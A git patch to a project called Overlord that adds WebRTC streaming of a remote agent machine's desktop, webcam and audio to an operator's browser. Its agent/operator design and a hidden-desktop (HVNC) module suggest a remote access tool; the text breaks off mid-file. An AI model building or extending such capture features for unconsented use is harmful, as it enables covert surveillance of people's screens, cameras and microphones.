From bf093f5a7de677e0eb646d270f3dbdb890003631 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 13 May 2026 20:19:21 -0500 Subject: [PATCH] web rtc for webcam, audio, etc. --- Overlord-Client/cmd/agent/capture/capture.go | 4 +- .../cmd/agent/capture/webcam_windows.go | 15 ++ Overlord-Client/cmd/agent/handlers/command.go | 13 +- Overlord-Client/cmd/agent/handlers/webrtc.go | 82 +++++++-- .../cmd/agent/webrtcpub/audio_pcmu.go | 107 +++++++++++ .../cmd/agent/webrtcpub/p2p_pion.go | 174 +++++++++++++----- Overlord-Client/cmd/agent/webrtcpub/state.go | 94 ++++++++-- Overlord-Client/cmd/agent/webrtcpub/stubs.go | 14 +- .../cmd/agent/webrtcpub/whip_pion.go | 151 ++++++++++----- Overlord-Client/cmd/agent/wire/protocol.go | 2 + .../public/assets/remotedesktop.js | 141 ++++++++++++-- Overlord-Server/public/assets/webcam.js | 95 +++++++++- Overlord-Server/public/assets/webrtc-p2p.js | 22 ++- Overlord-Server/public/assets/whep.js | 27 ++- Overlord-Server/public/remotedesktop.html | 9 + Overlord-Server/public/webcam.html | 16 ++ .../src/server/routes/webrtc-routes.ts | 9 +- .../routes/websocket-lifecycle-routes.ts | 2 + .../src/server/ws-console-rd-hvnc.ts | 101 ++++++++-- .../src/server/ws-desktop-audio.ts | 107 +++++++++-- 20 files changed, 986 insertions(+), 199 deletions(-) create mode 100644 Overlord-Client/cmd/agent/webrtcpub/audio_pcmu.go diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index f5da1f5..a10b8ad 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -147,12 +147,12 @@ func CaptureAndSend(ctx context.Context, env *rt.Env) error { if ctx.Err() != nil { return nil } - if frame.Header.Format == "h264" && webrtcpub.IsActive() { + if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindDesktop) { dur := time.Second / time.Duration(fps) if dur <= 0 { dur = 33 * time.Millisecond } - if werr := webrtcpub.WriteH264(frame.Data, dur); werr != nil { + if werr := webrtcpub.WriteH264(webrtcpub.KindDesktop, frame.Data, dur); werr != nil { log.Printf("webrtc: write h264 failed: %v", werr) } statFrames.Add(1) diff --git a/Overlord-Client/cmd/agent/capture/webcam_windows.go b/Overlord-Client/cmd/agent/capture/webcam_windows.go index 1421b83..32770c0 100644 --- a/Overlord-Client/cmd/agent/capture/webcam_windows.go +++ b/Overlord-Client/cmd/agent/capture/webcam_windows.go @@ -17,6 +17,7 @@ import ( "github.com/Kirizu-Official/windows-camera-go/windows/guid" rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/webrtcpub" "overlord-client/cmd/agent/wire" ) @@ -166,6 +167,20 @@ func NowWebcam(ctx context.Context, env *rt.Env) error { if ctx.Err() != nil { return nil } + if outFormat == "h264" && webrtcpub.IsActive(webrtcpub.KindWebcam) { + fps := env.WebcamFPS + if fps <= 0 { + fps = 30 + } + dur := time.Second / time.Duration(fps) + if dur <= 0 { + dur = 33 * time.Millisecond + } + if werr := webrtcpub.WriteH264(webrtcpub.KindWebcam, frameBytes, dur); werr != nil { + log.Printf("webrtc: write webcam h264 failed: %v", werr) + } + return nil + } // Do not use the stream-cancel context for socket writes; canceling an in-flight // write during webcam_stop can tear down the whole websocket on some transports. writeCtx, cancel := context.WithTimeout(context.Background(), 2*time.Second) diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 6864376..d266139 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -23,6 +23,7 @@ import ( "overlord-client/cmd/agent/plugins" "overlord-client/cmd/agent/runtime" "overlord-client/cmd/agent/sysinfo" + "overlord-client/cmd/agent/webrtcpub" "overlord-client/cmd/agent/wire" ) @@ -488,6 +489,12 @@ func startDesktopAudioSession(ctx context.Context, env *runtime.Env, sessionID s if len(chunk) == 0 { return } + // Fan to any active WebRTC audio session. No-op when nothing is + // subscribed, so the cost is just a map lookup under a read lock. + if webrtcpub.IsActive(webrtcpub.KindAudio) { + samples := pcm16BytesToInt16(chunk) + _ = webrtcpub.WriteAudio(webrtcpub.KindAudio, samples) + } msg := map[string]interface{}{ "type": "desktop_audio_uplink", "sessionId": sessionID, @@ -618,7 +625,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } return handleWebrtcPublish(ctx, env, cmdID, payload) case "webrtc_stop": - return handleWebrtcStop(ctx, env, cmdID) + payload, _ := envelope["payload"].(map[string]interface{}) + return handleWebrtcStop(ctx, env, cmdID, payload) case "webrtc_p2p_offer": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { @@ -633,7 +641,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } return handleWebrtcP2PIce(ctx, env, cmdID, payload) case "webrtc_p2p_stop": - return handleWebrtcP2PStop(ctx, env, cmdID) + payload, _ := envelope["payload"].(map[string]interface{}) + return handleWebrtcP2PStop(ctx, env, cmdID, payload) case "desktop_start": if goruntime.GOOS == "darwin" { perms := sysinfo.DarwinPermissions() diff --git a/Overlord-Client/cmd/agent/handlers/webrtc.go b/Overlord-Client/cmd/agent/handlers/webrtc.go index 45154e9..6707b70 100644 --- a/Overlord-Client/cmd/agent/handlers/webrtc.go +++ b/Overlord-Client/cmd/agent/handlers/webrtc.go @@ -2,6 +2,7 @@ package handlers import ( "context" + "encoding/binary" "fmt" "log" "net/url" @@ -13,6 +14,33 @@ import ( "overlord-client/cmd/agent/wire" ) +func pcm16BytesToInt16(chunk []byte) []int16 { + n := len(chunk) / 2 + out := make([]int16, n) + for i := 0; i < n; i++ { + out[i] = int16(binary.LittleEndian.Uint16(chunk[i*2:])) + } + return out +} + +func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind { + switch s, _ := payload["kind"].(string); s { + case "webcam": + return webrtcpub.KindWebcam + case "audio": + return webrtcpub.KindAudio + default: + return webrtcpub.KindDesktop + } +} + +func payloadBool(payload map[string]interface{}, key string, fallback bool) bool { + if v, ok := payload[key].(bool); ok { + return v + } + return fallback +} + func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error { whipPath, _ := payload["whipPath"].(string) token, _ := payload["token"].(string) @@ -21,6 +49,10 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa return nil } + kind := kindFromPayload(payload) + hasVideo := payloadBool(payload, "hasVideo", kind != webrtcpub.KindAudio) + hasAudio := payloadBool(payload, "hasAudio", kind == webrtcpub.KindAudio) + whipURL, err := buildWhipURL(env, whipPath) if err != nil { sendCommandResultSafe(env, cmdID, false, err.Error()) @@ -32,20 +64,23 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa PublishToken: token, TLSInsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify, TLSCAPath: env.Cfg.TLSCAPath, + HasVideo: hasVideo, + HasAudio: hasAudio, } goSafe("webrtc publish", env.Cancel, func() { - if _, err := webrtcpub.Start(ctx, opts); err != nil { - log.Printf("webrtc: publish start failed: %v", err) + if _, err := webrtcpub.Start(ctx, kind, opts); err != nil { + log.Printf("webrtc: publish[%s] start failed: %v", kind, err) _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error(), }) return } - // Force the encoder to emit a fresh SPS/PPS/IDR so the freshly - // subscribed viewer can start decoding immediately — otherwise it has - // to wait up to keyframeEvery for the next natural IDR. - capture.ResetPrev() + // Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can + // decode immediately instead of waiting for the next natural IDR. + if hasVideo { + capture.ResetPrev() + } _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: true, }) @@ -53,9 +88,13 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa return nil } -func handleWebrtcStop(ctx context.Context, env *runtime.Env, cmdID string) error { +func handleWebrtcStop(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error { _ = ctx - webrtcpub.Stop() + if payload != nil { + webrtcpub.Stop(kindFromPayload(payload)) + } else { + webrtcpub.StopAll() + } sendCommandResultSafe(env, cmdID, true, "") return nil } @@ -67,6 +106,10 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p sendCommandResultSafe(env, cmdID, false, "missing sessionId/sdp") return nil } + kind := kindFromPayload(payload) + hasVideo := payloadBool(payload, "hasVideo", kind != webrtcpub.KindAudio) + hasAudio := payloadBool(payload, "hasAudio", kind == webrtcpub.KindAudio) + kindStr := string(kind) callbacks := webrtcpub.P2POfferCallbacks{ OnICE: func(c webrtcpub.ICECandidate) { @@ -76,26 +119,29 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p _ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PIce{ Type: "webrtc_p2p_ice", SessionID: sessionID, + Kind: kindStr, Candidate: c.Candidate, SDPMid: c.SDPMid, SDPMLineIndex: c.SDPMLineIndex, }) }, OnClose: func() { - log.Printf("webrtc: P2P session %s closed", sessionID) + log.Printf("webrtc: P2P[%s/%s] session closed", kind, sessionID) }, } - answerSDP, err := webrtcpub.StartP2POffer(ctx, sessionID, offerSDP, callbacks) + answerSDP, err := webrtcpub.StartP2POffer(ctx, kind, sessionID, offerSDP, callbacks, hasVideo, hasAudio) if err != nil { sendCommandResultSafe(env, cmdID, false, err.Error()) return nil } - // Force a fresh SPS/PPS/IDR so the new P2P viewer can decode immediately. - capture.ResetPrev() + if hasVideo { + capture.ResetPrev() + } _ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PAnswer{ Type: "webrtc_p2p_answer", SessionID: sessionID, + Kind: kindStr, SDP: answerSDP, }) sendCommandResultSafe(env, cmdID, true, "") @@ -110,7 +156,8 @@ func handleWebrtcP2PIce(_ context.Context, env *runtime.Env, cmdID string, paylo if v, ok := payloadInt32(payload, "sdpMLineIndex"); ok { idx = uint16(v) } - webrtcpub.AddP2PICECandidate(sessionID, webrtcpub.ICECandidate{ + kind := kindFromPayload(payload) + webrtcpub.AddP2PICECandidate(kind, sessionID, webrtcpub.ICECandidate{ Candidate: candidate, SDPMid: mid, SDPMLineIndex: idx, @@ -120,8 +167,13 @@ func handleWebrtcP2PIce(_ context.Context, env *runtime.Env, cmdID string, paylo return nil } -func handleWebrtcP2PStop(_ context.Context, env *runtime.Env, cmdID string) error { - webrtcpub.StopP2P() +func handleWebrtcP2PStop(_ context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error { + sessionID, _ := payload["sessionId"].(string) + if sessionID == "" { + webrtcpub.StopAllP2P() + } else { + webrtcpub.StopP2P(kindFromPayload(payload), sessionID) + } sendCommandResultSafe(env, cmdID, true, "") return nil } diff --git a/Overlord-Client/cmd/agent/webrtcpub/audio_pcmu.go b/Overlord-Client/cmd/agent/webrtcpub/audio_pcmu.go new file mode 100644 index 0000000..18d4d60 --- /dev/null +++ b/Overlord-Client/cmd/agent/webrtcpub/audio_pcmu.go @@ -0,0 +1,107 @@ +//go:build overlord_webrtc + +package webrtcpub + +import ( + "sync" + "time" + + "github.com/pion/webrtc/v4" + "github.com/pion/webrtc/v4/pkg/media" +) + +// G.711 μ-law parameters: 8 kHz, mono, 8-bit, 64 kbps. Universally supported +// in browsers without needing libopus / a separate Opus encoder dependency. +// +// We accept 16 kHz int16 PCM (the format malgo captures) and emit μ-law in +// 20 ms RTP packets — 160 samples per packet at 8 kHz. + +const ( + pcmuSourceRate = 16000 + pcmuTargetRate = 8000 + pcmuPacketMs = 20 + pcmuSamplesPerPacket = pcmuTargetRate * pcmuPacketMs / 1000 // 160 +) + +// pcmuAudioWriter buffers incoming 16 kHz PCM, downsamples to 8 kHz, μ-law +// encodes, and emits 20 ms RTP samples to the wrapped track. Thread-safe. +type pcmuAudioWriter struct { + t *webrtc.TrackLocalStaticSample + mu sync.Mutex + // buf8 holds 8 kHz mono int16 samples awaiting packetization. + buf8 []int16 + // carry preserves the second sample of a 16 kHz pair across calls so + // the decimation phase stays correct when callers hand us odd-length + // buffers. + carryValid bool + carry int16 +} + +func newPCMUAudioWriter(t *webrtc.TrackLocalStaticSample) *pcmuAudioWriter { + return &pcmuAudioWriter{t: t, buf8: make([]int16, 0, pcmuSamplesPerPacket*4)} +} + +// WriteAudio is called with a 16 kHz mono int16 frame. Internally it +// downsamples by 2 (pick every other sample — adequate for screen-share +// audio; if you really need anti-aliasing, run a 1-pole IIR first) and +// μ-law-encodes 20 ms slices. +func (w *pcmuAudioWriter) WriteAudio(pcm16 []int16) error { + if len(pcm16) == 0 { + return nil + } + w.mu.Lock() + defer w.mu.Unlock() + + start := 0 + if w.carryValid { + w.carryValid = false + start = 1 + _ = w.carry // value discarded — we keep one of each pair + } + for i := start; i < len(pcm16); i += 2 { + w.buf8 = append(w.buf8, pcm16[i]) + } + if (len(pcm16)-start)%2 == 1 { + w.carryValid = true + w.carry = pcm16[len(pcm16)-1] + } + + for len(w.buf8) >= pcmuSamplesPerPacket { + slice := w.buf8[:pcmuSamplesPerPacket] + encoded := make([]byte, pcmuSamplesPerPacket) + for i, s := range slice { + encoded[i] = linearToMulaw(s) + } + if err := w.t.WriteSample(media.Sample{ + Data: encoded, + Duration: pcmuPacketMs * time.Millisecond, + }); err != nil { + w.buf8 = w.buf8[:0] + return err + } + w.buf8 = w.buf8[pcmuSamplesPerPacket:] + } + return nil +} + +func linearToMulaw(sample int16) byte { + const ( + cBias = 0x84 + cClip = 32635 + ) + sign := int16(0) + if sample < 0 { + sample = -sample + sign = 0x80 + } + if sample > cClip { + sample = cClip + } + sample += cBias + exponent := int16(7) + for mask := int16(0x4000); sample&mask == 0 && exponent > 0; mask >>= 1 { + exponent-- + } + mantissa := (sample >> (exponent + 3)) & 0x0F + return ^byte(sign | (exponent << 4) | mantissa) +} diff --git a/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go b/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go index 282063a..af842fb 100644 --- a/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go +++ b/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go @@ -12,10 +12,13 @@ import ( "github.com/pion/webrtc/v4" ) +// p2pSession is a direct browser ↔ agent peer connection. SDP and ICE +// candidates are relayed via the Overlord server's existing WS channels — +// MediaMTX is NOT involved on this path. type p2pSession struct { + kind Kind id string pc *webrtc.PeerConnection - track *webrtc.TrackLocalStaticSample onICE func(ICECandidate) onClose func() closeOnce sync.Once @@ -23,28 +26,58 @@ type p2pSession struct { var ( p2pMu sync.Mutex - p2p *p2pSession + // Keyed by kind|id so the same agent can host concurrent P2P sessions + // for desktop, webcam, and audio without sessions stomping each other. + p2pSessions = map[string]*p2pSession{} ) -func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POfferCallbacks) (string, error) { +func p2pSessionKey(kind Kind, sessionID string) string { + return string(kind) + "|" + sessionID +} + +// StartP2POffer accepts an SDP offer from an operator (proxied through the +// server WS), creates a peer connection with the requested tracks, and +// returns the SDP answer. The offer must contain matching m-sections — the +// browser side decides via its transceivers what to ask for. Trickle ICE +// candidates emitted by Pion are delivered to opts.OnICE. +func StartP2POffer(ctx context.Context, kind Kind, sessionID string, offerSDP string, opts P2POfferCallbacks, hasVideo, hasAudio bool) (string, error) { + _ = ctx if sessionID == "" { return "", errors.New("webrtcpub: empty sessionID") } if offerSDP == "" { return "", errors.New("webrtcpub: empty offer SDP") } - StopP2P() + if !hasVideo && !hasAudio { + return "", errors.New("webrtcpub: at least one of hasVideo/hasAudio must be true") + } + // Replace any previous session for this kind+id (operator restart). + StopP2P(kind, sessionID) mediaEngine := &webrtc.MediaEngine{} - if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{ - RTPCodecCapability: webrtc.RTPCodecCapability{ - MimeType: webrtc.MimeTypeH264, - ClockRate: 90000, - SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f", - }, - PayloadType: 102, - }, webrtc.RTPCodecTypeVideo); err != nil { - return "", fmt.Errorf("register codec: %w", err) + if hasVideo { + if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{ + RTPCodecCapability: webrtc.RTPCodecCapability{ + MimeType: webrtc.MimeTypeH264, + ClockRate: 90000, + SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f", + }, + PayloadType: 102, + }, webrtc.RTPCodecTypeVideo); err != nil { + return "", fmt.Errorf("register video codec: %w", err) + } + } + if hasAudio { + if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{ + RTPCodecCapability: webrtc.RTPCodecCapability{ + MimeType: webrtc.MimeTypePCMU, + ClockRate: 8000, + Channels: 1, + }, + PayloadType: 0, + }, webrtc.RTPCodecTypeAudio); err != nil { + return "", fmt.Errorf("register audio codec: %w", err) + } } api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine)) @@ -57,29 +90,55 @@ func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POffe return "", fmt.Errorf("new peer connection: %w", err) } - track, err := webrtc.NewTrackLocalStaticSample( - webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264}, - "overlord-video-p2p", "overlord-desktop", + var ( + videoTrack *webrtc.TrackLocalStaticSample + audioTrack *webrtc.TrackLocalStaticSample ) - if err != nil { - _ = pc.Close() - return "", fmt.Errorf("new track: %w", err) + if hasVideo { + videoTrack, err = webrtc.NewTrackLocalStaticSample( + webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264}, + "overlord-video-p2p-"+string(kind), "overlord-"+string(kind), + ) + if err != nil { + _ = pc.Close() + return "", fmt.Errorf("new video track: %w", err) + } + tx, err := pc.AddTransceiverFromTrack(videoTrack, webrtc.RTPTransceiverInit{ + Direction: webrtc.RTPTransceiverDirectionSendonly, + }) + if err != nil { + _ = pc.Close() + return "", fmt.Errorf("add video transceiver: %w", err) + } + if sender := tx.Sender(); sender != nil { + go drainRTCP(sender) + } } - transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{ - Direction: webrtc.RTPTransceiverDirectionSendonly, - }) - if err != nil { - _ = pc.Close() - return "", fmt.Errorf("add transceiver: %w", err) - } - if sender := transceiver.Sender(); sender != nil { - go drainRTCP(sender) + if hasAudio { + audioTrack, err = webrtc.NewTrackLocalStaticSample( + webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypePCMU, ClockRate: 8000, Channels: 1}, + "overlord-audio-p2p-"+string(kind), "overlord-"+string(kind), + ) + if err != nil { + _ = pc.Close() + return "", fmt.Errorf("new audio track: %w", err) + } + tx, err := pc.AddTransceiverFromTrack(audioTrack, webrtc.RTPTransceiverInit{ + Direction: webrtc.RTPTransceiverDirectionSendonly, + }) + if err != nil { + _ = pc.Close() + return "", fmt.Errorf("add audio transceiver: %w", err) + } + if sender := tx.Sender(); sender != nil { + go drainRTCP(sender) + } } sess := &p2pSession{ + kind: kind, id: sessionID, pc: pc, - track: track, onICE: opts.OnICE, onClose: opts.OnClose, } @@ -108,7 +167,7 @@ func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POffe }) }) pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) { - log.Printf("webrtcpub: P2P peer state=%s", state) + log.Printf("webrtcpub: P2P[%s/%s] peer state=%s", kind, sessionID, state) switch state { case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed, webrtc.PeerConnectionStateDisconnected: sess.closeAndUnregister() @@ -132,21 +191,29 @@ func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POffe return "", fmt.Errorf("set local desc: %w", err) } + key := p2pSessionKey(kind, sessionID) p2pMu.Lock() - p2p = sess + p2pSessions[key] = sess p2pMu.Unlock() - registerWriter(p2pWriterID(sessionID), &trackWriter{t: track}) + writerID := p2pWriterID(kind, sessionID) + if videoTrack != nil { + registerVideoWriter(kind, writerID, &h264TrackWriter{t: videoTrack}) + } + if audioTrack != nil { + registerAudioWriter(kind, writerID, newPCMUAudioWriter(audioTrack)) + } return answer.SDP, nil } -func AddP2PICECandidate(sessionID string, c ICECandidate) { +// AddP2PICECandidate hands a remote ICE candidate to a specific P2P session. +func AddP2PICECandidate(kind Kind, sessionID string, c ICECandidate) { if c.Candidate == "" { return } p2pMu.Lock() - sess := p2p + sess := p2pSessions[p2pSessionKey(kind, sessionID)] p2pMu.Unlock() - if sess == nil || sess.id != sessionID { + if sess == nil { return } mid := c.SDPMid @@ -160,32 +227,51 @@ func AddP2PICECandidate(sessionID string, c ICECandidate) { } } -// StopP2P tears down the active P2P session, if any. -func StopP2P() { +// StopP2P tears down a specific P2P session. +func StopP2P(kind Kind, sessionID string) { p2pMu.Lock() - sess := p2p - p2p = nil + sess := p2pSessions[p2pSessionKey(kind, sessionID)] + delete(p2pSessions, p2pSessionKey(kind, sessionID)) p2pMu.Unlock() if sess != nil { sess.closeAndUnregister() } } +// StopAllP2P tears down every active P2P session. Used on shutdown. +func StopAllP2P() { + p2pMu.Lock() + keys := make([]string, 0, len(p2pSessions)) + sessions := make([]*p2pSession, 0, len(p2pSessions)) + for k, s := range p2pSessions { + keys = append(keys, k) + sessions = append(sessions, s) + } + for _, k := range keys { + delete(p2pSessions, k) + } + p2pMu.Unlock() + for _, s := range sessions { + s.closeAndUnregister() + } +} + func (s *p2pSession) closeAndUnregister() { s.closeOnce.Do(func() { - unregisterWriter(p2pWriterID(s.id)) + unregisterWriter(s.kind, p2pWriterID(s.kind, s.id)) _ = s.pc.Close() if s.onClose != nil { s.onClose() } }) p2pMu.Lock() - if p2p == s { - p2p = nil + key := p2pSessionKey(s.kind, s.id) + if p2pSessions[key] == s { + delete(p2pSessions, key) } p2pMu.Unlock() } -func p2pWriterID(sessionID string) string { - return "p2p:" + sessionID +func p2pWriterID(kind Kind, sessionID string) string { + return "p2p:" + string(kind) + ":" + sessionID } diff --git a/Overlord-Client/cmd/agent/webrtcpub/state.go b/Overlord-Client/cmd/agent/webrtcpub/state.go index f6802f4..ef3f31c 100644 --- a/Overlord-Client/cmd/agent/webrtcpub/state.go +++ b/Overlord-Client/cmd/agent/webrtcpub/state.go @@ -6,37 +6,85 @@ import ( "time" ) -type FrameWriter interface { +type Kind string + +const ( + KindDesktop Kind = "desktop" + KindWebcam Kind = "webcam" + KindAudio Kind = "audio" +) + +type VideoWriter interface { WriteH264(nalu []byte, dur time.Duration) error } +type AudioWriter interface { + WriteAudio(pcm []int16) error +} + +type writerEntry struct { + video VideoWriter + audio AudioWriter +} + var ( writersMu sync.RWMutex - writers = map[string]FrameWriter{} + writers = map[string]map[string]writerEntry{} // kind → id → entry ) -func registerWriter(id string, w FrameWriter) { +func registerVideoWriter(kind Kind, id string, w VideoWriter) { if id == "" || w == nil { return } writersMu.Lock() - writers[id] = w + bucket := writers[string(kind)] + if bucket == nil { + bucket = map[string]writerEntry{} + writers[string(kind)] = bucket + } + entry := bucket[id] + entry.video = w + bucket[id] = entry writersMu.Unlock() } -func unregisterWriter(id string) { +func registerAudioWriter(kind Kind, id string, w AudioWriter) { + if id == "" || w == nil { + return + } + writersMu.Lock() + bucket := writers[string(kind)] + if bucket == nil { + bucket = map[string]writerEntry{} + writers[string(kind)] = bucket + } + entry := bucket[id] + entry.audio = w + bucket[id] = entry + writersMu.Unlock() +} + +func unregisterWriter(kind Kind, id string) { if id == "" { return } writersMu.Lock() - delete(writers, id) + if bucket, ok := writers[string(kind)]; ok { + delete(bucket, id) + if len(bucket) == 0 { + delete(writers, string(kind)) + } + } writersMu.Unlock() } -func IsActive() bool { +// IsActive reports whether any writer of the given kind is registered. +// Callers in capture loops use this as a cheap "should I divert this frame +// to WebRTC?" check before doing more expensive work. +func IsActive(kind Kind) bool { writersMu.RLock() defer writersMu.RUnlock() - return len(writers) > 0 + return len(writers[string(kind)]) > 0 } var keyframeWanted atomic.Bool @@ -49,21 +97,38 @@ func ConsumeKeyframeRequest() bool { return keyframeWanted.Swap(false) } -func WriteH264(nalu []byte, dur time.Duration) error { +func WriteH264(kind Kind, nalu []byte, dur time.Duration) error { if len(nalu) == 0 { return nil } writersMu.RLock() defer writersMu.RUnlock() - for _, w := range writers { - _ = w.WriteH264(nalu, dur) + bucket := writers[string(kind)] + for _, w := range bucket { + if w.video != nil { + _ = w.video.WriteH264(nalu, dur) + } + } + return nil +} + +func WriteAudio(kind Kind, pcm []int16) error { + if len(pcm) == 0 { + return nil + } + writersMu.RLock() + defer writersMu.RUnlock() + bucket := writers[string(kind)] + for _, w := range bucket { + if w.audio != nil { + _ = w.audio.WriteAudio(pcm) + } } return nil } -// Deadass fuck WebRTC bro ts is so confusing type Options struct { - // (e.g. https://server:5173/api/webrtc/agents/abc/whip). + // (e.g. https://server:5173/api/webrtc/agents/abc/desktop/whip). WhipURL string // PublishToken is the bearer token issued by the server. PublishToken string @@ -71,6 +136,9 @@ type Options struct { TLSInsecureSkipVerify bool // TLSCAPath is an optional custom CA bundle. TLSCAPath string + // HasVideo / HasAudio select which tracks to add to the peer connection. + HasVideo bool + HasAudio bool } type ICECandidate struct { diff --git a/Overlord-Client/cmd/agent/webrtcpub/stubs.go b/Overlord-Client/cmd/agent/webrtcpub/stubs.go index 4f0eb2d..935a732 100644 --- a/Overlord-Client/cmd/agent/webrtcpub/stubs.go +++ b/Overlord-Client/cmd/agent/webrtcpub/stubs.go @@ -11,18 +11,20 @@ var ErrNotCompiled = errors.New("webrtc support not compiled in (build with -tag type Publisher struct{} -func Start(_ context.Context, _ Options) (*Publisher, error) { +func Start(_ context.Context, _ Kind, _ Options) (*Publisher, error) { return nil, ErrNotCompiled } -func Stop() {} - +func Stop(_ Kind) {} +func StopAll() {} func (*Publisher) Close() {} -func StartP2POffer(_ context.Context, _ string, _ string, _ P2POfferCallbacks) (string, error) { +func StartP2POffer(_ context.Context, _ Kind, _ string, _ string, _ P2POfferCallbacks, _ bool, _ bool) (string, error) { return "", ErrNotCompiled } -func AddP2PICECandidate(_ string, _ ICECandidate) {} +func AddP2PICECandidate(_ Kind, _ string, _ ICECandidate) {} -func StopP2P() {} +func StopP2P(_ Kind, _ string) {} + +func StopAllP2P() {} diff --git a/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go b/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go index 35dc5da..1254497 100644 --- a/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go +++ b/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go @@ -43,17 +43,16 @@ func drainRTCP(sender *webrtc.RTPSender) { } } -type trackWriter struct { +type h264TrackWriter struct { t *webrtc.TrackLocalStaticSample } -func (w *trackWriter) WriteH264(nalu []byte, dur time.Duration) error { +func (w *h264TrackWriter) WriteH264(nalu []byte, dur time.Duration) error { return w.t.WriteSample(media.Sample{Data: nalu, Duration: dur}) } -const whipWriterID = "whip" - type Publisher struct { + kind Kind pc *webrtc.PeerConnection resourceURL string token string @@ -62,31 +61,48 @@ type Publisher struct { } var ( - whipMu sync.Mutex - whip *Publisher + whipMu sync.Mutex + whipByKind = map[Kind]*Publisher{} ) -func Start(ctx context.Context, opts Options) (*Publisher, error) { +func Start(ctx context.Context, kind Kind, opts Options) (*Publisher, error) { if strings.TrimSpace(opts.WhipURL) == "" { return nil, errors.New("webrtcpub: empty WhipURL") } if strings.TrimSpace(opts.PublishToken) == "" { return nil, errors.New("webrtcpub: empty PublishToken") } - Stop() + if !opts.HasVideo && !opts.HasAudio { + return nil, errors.New("webrtcpub: at least one of HasVideo/HasAudio must be true") + } + Stop(kind) httpClient := buildHTTPClient(opts) mediaEngine := &webrtc.MediaEngine{} - if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{ - RTPCodecCapability: webrtc.RTPCodecCapability{ - MimeType: webrtc.MimeTypeH264, - ClockRate: 90000, - SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f", - }, - PayloadType: 102, - }, webrtc.RTPCodecTypeVideo); err != nil { - return nil, fmt.Errorf("register codec: %w", err) + if opts.HasVideo { + if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{ + RTPCodecCapability: webrtc.RTPCodecCapability{ + MimeType: webrtc.MimeTypeH264, + ClockRate: 90000, + SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f", + }, + PayloadType: 102, + }, webrtc.RTPCodecTypeVideo); err != nil { + return nil, fmt.Errorf("register video codec: %w", err) + } + } + if opts.HasAudio { + if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{ + RTPCodecCapability: webrtc.RTPCodecCapability{ + MimeType: webrtc.MimeTypePCMU, + ClockRate: 8000, + Channels: 1, + }, + PayloadType: 0, + }, webrtc.RTPCodecTypeAudio); err != nil { + return nil, fmt.Errorf("register audio codec: %w", err) + } } api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine)) @@ -95,23 +111,49 @@ func Start(ctx context.Context, opts Options) (*Publisher, error) { return nil, fmt.Errorf("new peer connection: %w", err) } - track, err := webrtc.NewTrackLocalStaticSample( - webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264}, - "overlord-video", "overlord-desktop", + var ( + videoTrack *webrtc.TrackLocalStaticSample + audioTrack *webrtc.TrackLocalStaticSample ) - if err != nil { - _ = pc.Close() - return nil, fmt.Errorf("new track: %w", err) + if opts.HasVideo { + videoTrack, err = webrtc.NewTrackLocalStaticSample( + 